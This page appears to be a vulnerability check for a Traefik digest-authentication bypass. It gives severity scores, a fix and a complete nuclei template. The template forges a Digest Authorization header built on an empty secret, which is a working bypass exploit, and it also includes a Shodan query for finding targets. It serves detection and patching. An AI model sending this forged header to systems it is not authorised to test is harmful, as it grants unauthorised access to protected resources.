Traefik < 2.11.55 / 3.0.0 - 3.7.10 - Digest Authentication Bypass

criticalseverity

9.8CVSS score

2.5%likelihood of exploitation, next 30 days

85%of all CVEs are less likely

Readycheck to confirm it

Traefik < 2.11.55 contains an authentication bypass caused by digestAuth middleware returning empty secret for unknown usernames, letting attackers bypass authentication on digestAuth-protected routes without valid credentials.

Impact

Attackers can bypass authentication on protected routes, gaining unauthorized access to restricted resources.

Fix

Update to version 2.11.55 or later.

How to confirm it

Send: GET /
Positive when: status_code_1 == 401 and contains(tolower(header_1), "digest realm=")
Send: GET /
Positive when: status_code == 200 and !contains(tolower(header), "www-authenticate")

Run it with nuclei: nuclei -id CVE-2026-85595 -u <target>

The full check

id: CVE-2026-85595

info:
  name: Traefik < 2.11.55 / 3.0.0 - 3.7.10 - Digest Authentication Bypass
  author: Boreas37
  severity: critical
  description: |
    Traefik < 2.11.55 contains an authentication bypass caused by digestAuth middleware returning empty secret for unknown usernames, letting attackers bypass authentication on digestAuth-protected routes without valid credentials.
  impact: |
    Attackers can bypass authentication on protected routes, gaining unauthorized access to restricted resources.
  remediation: |
    Update to version 2.11.55 or later.
  reference:
    - https://github.com/traefik/traefik/security/advisories/GHSA-5w68-77r2-r64c
    - https://github.com/containous/go-http-auth/commit/b975dcaa8c48
    - https://github.com/traefik/traefik/commit/2116686308a2
    - https://nvd.nist.gov/vuln/detail/CVE-2026-85595
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-85595
    epss-score: 0.02451
    epss-percentile: 0.84521
    cwe-id: CWE-287
  metadata:
    max-request: 2
    verified: true
    vendor: traefik
    product: traefik
    shodan-query: http.title:"Traefik"
  tags: cve,cve2026,traefik,digest,auth-bypass

flow: http(1) && http(2)

variables:
  username: "traefik-poc"

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 401'
          - 'contains(tolower(header_1), "digest realm=")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: realm
        part: header
        group: 1
        regex:
          - 'realm="([^"]+)"'
        internal: true

      - type: regex
        name: nonce
        part: header
        group: 1
        regex:
          - 'nonce="([^"]+)"'
        internal: true

      - type: regex
        name: opaque
        part: header
        group: 1
        regex:
          - 'opaque="([^"]+)"'
        internal: true

  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        Authorization: Digest username="{{username}}", realm="{{realm}}", nonce="{{nonce}}", uri="{{path}}", qop=auth, nc=00000001, cnonce="0a4f113b", response="{{md5(concat(":", nonce, ":00000001:0a4f113b:auth:", md5(concat("GET:", path))))}}", opaque="{{opaque}}", algorithm=MD5

    matchers:
      - type: dsl
        condition: and
        dsl:
          - 'status_code == 200'
          - '!contains(tolower(header), "www-authenticate")'

References

Use this check only on systems you are authorised to test. Where the data comes from